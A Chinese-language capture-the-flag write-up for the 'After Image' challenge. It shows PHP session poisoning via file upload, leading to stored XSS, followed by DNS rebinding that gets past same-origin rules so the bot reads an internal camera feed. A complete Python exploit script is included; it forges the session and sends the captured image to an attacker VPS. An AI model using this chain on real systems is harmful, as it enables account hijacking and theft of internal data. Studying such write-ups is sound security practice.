After Image
Session Poison
开始做这题时,团队成员已经完成了第一部分的Session投毒,这里快速过一下。
- profile.php 支持上传配置文件,并把文件直接移动到 /tmp/
。 - PHP 默认会话文件同样位于临时目录,命名为 /tmp/sess_
。 - web/php.ini 中启用了 session.use_only_cookies = 0 和 session.use_trans_sid = 1,因此可以通过 URL 参数 ?PHPSESSID=
指定会话。 - 组合后可通过上传文件直接伪造任意会话文件,形成任意 $_SESSION 注入。
举个例子,上传文件名使用sess_victim123,内容使用 PHP 会话格式,例如 nickname|s:5:"hello";,访问 index.php?PHPSESSID=victim123 后页面会显示伪造值。
因为伪造的是原始 PHP 会话文件,不会经过 htmlspecialchars(),登陆后的Welcome back, <nickname>!构成了存储型 XSS。所以可直接把 <script>...</script> 写进 nickname、bio、motto 等会话字段,bot 访问对应 PHPSESSID 的页面时会执行脚本。
第二阶段需要让 bot 的 Firefox 浏览器去访问内网 camera 服务,但 flag 显示在 http://10.133.7.5/stream 的跨域 MJPEG 画面中,需要找到浏览器侧方法把跨域图像中的像素、文本或其等价信息泄露出来。
队员们已经尝试过:
- canvas 直接绘制后读取像素:被 SecurityError
- VideoFrame(img) / VideoFrame(canvas):有 same-origin 校验
- captureStream():tainted canvas 上直接拒绝
- 常规 SVG 包裹跨域图像后再 drawImage
- -moz-element() 的几种直接转图像/快照尝试
- 若干 SVG mask / foreignObject / feImage 探测路径
其中,结合 PixelThief原理,可以本地窃取图像,但远端只能获取红绿单色图像,或黑屏左上角图像损坏图标。

怀疑还是卡在CORS上。
Bypass CORS
审计bot逻辑
bot: async (urlToVisit) => { const context = await getContext() try { const page = await context.newPage();
console.log(`bot visiting ${urlToVisit}`); await page.goto(urlToVisit, { waitUntil: 'load', timeout: 10 * 1000 }); await sleep(75000);
console.log("browser close..."); return true; } catch (e) { console.error(e); return false; } finally { if (CONFIG.APPEXTENSIONS !== "") { await context.browser().close(); } else { await context.close(); } }}注意到这里sleep了75秒,往常的XSS题目仅保留10~15s。当时我的想法是有两种可能:一种是利用漏洞侧信道泄漏、另一种是基于缓存(其实不是)。
第一种是有可能的,师傅们有给出阶段性Exp。但是我又看到了Dockerfile:
FROM node:21
RUN apt-get update -yRUN npx playwright install-deps
RUN adduser bot
USER botARG BROWSER=firefoxENV BROWSER ${BROWSER}RUN npx playwright install $BROWSER这 Firefox 用的都是最新版,如果是考查CVE,一般都会指定版本。所以我认为不太可能(其实是被师傅们那1070行的exp吓到了qwq,我都准备洗洗睡了)
那么第二种,基于缓存。之前不知道哪场比赛考到了Chrome的缓存机制,所以有些PTSD。但其实仔细想想,就一次XSS机会,也没什么能被缓存投毒的,打内存缓存肯定行不通。但是缓存又不只有页面能被缓存,沿着这个思路不难想到DNS Rebind。
如果能够实现两次DNS解析,那么CORS就有可能绕过了。
第一次绑定到VPS,获取XSS脚本,执行时再次请求DNS,绑定到10.133.7.5,此时,访问VPS和Camera就是同源的。查了一下,Firefox的默认DNS过期时间就是60s,意味着只需要在XSS过程中等待60s,就有机会欺骗CORS规则。
完整Payload如下:
#!/usr/bin/env python3import requestsimport threadingimport timeimport sysimport base64from http.server import HTTPServer, BaseHTTPRequestHandlerimport randomimport string
TARGET = "http://afterimage.challs.srdnlen.it"VPS_IP = "YOUR VPS IP HERE" # 记得改REBIND_DOMAIN = "CHANGEME.0a850705.rbndr.us" # 记得改SESSION_ID = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
XSS_IFRAME_URL = f"http://{REBIND_DOMAIN}/"
def get_rebind_html(): return f"""<!DOCTYPE html><html><head><meta charset="UTF-8"></head><body> <h1>DNS Rebinding Wait 60s... then polling</h1> <script> // 60秒后开始轮询 setTimeout(() => {{ // 每 3 秒发起一次请求,直到成功命中 10.133.7.5 let timer = setInterval(() => {{ let img = new Image(); img.crossOrigin = "Anonymous";
img.onload = () => {{ clearInterval(timer); try {{ let c = document.createElement('canvas'); c.width = img.width; c.height = img.height; c.getContext('2d').drawImage(img, 0, 0); let b64 = c.toDataURL('image/jpeg');
fetch('http://{VPS_IP}:8001/', {{ method: 'POST', body: b64, mode: 'no-cors' }}); }} catch(e) {{ fetch('http://{VPS_IP}:8001/?err=' + encodeURIComponent(e.message), {{mode: 'no-cors'}}); }} }};
// 解析到了VPS,继续轮询 // 每次附加随机参数,强迫浏览器绕过图片缓存 img.src = '/stream?r=' + Math.random(); }}, 3000); }}, 61000); </script></body></html>"""
class PayloadDeliveryHandler(BaseHTTPRequestHandler): """ 运行在 8000 端口,负责下发 DNS 重绑定 HTML """ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html") self.send_header("Connection", "close") # 强制关闭连接以刷新 DNS self.send_header("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") self.end_headers() self.wfile.write(get_rebind_html().encode())
def log_message(self, format, *args): print(f"[Port 8000] Bot requested DNS payload.")
class ExfilReceiverHandler(BaseHTTPRequestHandler): """ 运行在 8001 端口,负责接收 Bot 外带回来的 Flag 截图 """ def do_POST(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if body.startswith(b"data:image"): b64 = body.split(b",", 1)[1] with open("flag.jpg", "wb") as f: f.write(base64.b64decode(b64)) print(f"\n[!] 成功接收到 Camera 画面!已保存为 flag.jpg") self.send_response(200) self.end_headers()
def do_GET(self): print(f"\n[Port 8001] Bot 日志: {self.path}") self.send_response(200) self.end_headers()
def log_message(self, format, *args): pass
def run_server(handler, port): server = HTTPServer(("0.0.0.0", port), handler) server.serve_forever()
def main(): print("="*50) print(" DNS Rebinding All-in-One Exploit") print("="*50)
# 1. 启动两个服务线程 threading.Thread(target=run_server, args=(PayloadDeliveryHandler, 8000), daemon=True).start() threading.Thread(target=run_server, args=(ExfilReceiverHandler, 8001), daemon=True).start() print("[+] 监听服务已启动: Port 8000 (Payload), Port 8001 (Exfil)")
# 2. 构造无换行符的精简 XSS Payload xss_payload = f"<script>var ifr=document.createElement('iframe');ifr.src='{XSS_IFRAME_URL}';document.body.appendChild(ifr);</script>" php_val = f's:{len(xss_payload)}:"{xss_payload}";' session_data = f"nickname|{php_val}"
# 3. 伪造 Session print(f"[*] 正在上传污染的 Session 文件 (sess_{SESSION_ID})...") requests.post( f"{TARGET}/profile.php?PHPSESSID=seed_upload", files={"config_file": (f"sess_{SESSION_ID}", session_data.encode(), "application/octet-stream")} )
# 4. 触发 Bot 访问 print("[*] 正在向 Bot 提交受害 URL...") bot_url = f"http://afterimage-nginx/index.php?PHPSESSID={SESSION_ID}" requests.post(f"{TARGET}/report", data={"url": bot_url})
print("\n[+] 攻击链已完全触发,Bot 等待时间约为 75s。") print("[*] 倒计时 65s 等待 DNS 缓存刷新,请保持脚本运行...")
try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] 退出脚本") sys.exit(0)
if __name__ == "__main__": main()
这个脚本里,8000端口用于投放XSS,8001端口用于接收flag截图。需要注意的是,由于camera服务在10.133.7.5:80,因此投放XSS时也必须使用80端口。由于我的VPS上80端口already in use,所以需要配置一下端口重定向:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8000
# 使用这个还原:# iptables -t nat -D PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8000哦对了,由于DNS Rebind存在不确定性,实际上成功率是比较低的。需要第一次解析到VPS上,第二次解析到Camera服务。多试几次总能成功的。(得研究一下自建DNS Rebind了)

srdnlen{s4me_0rig1n_is_b0ring_as_h3ll}same origin is boring as hell! qwq
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









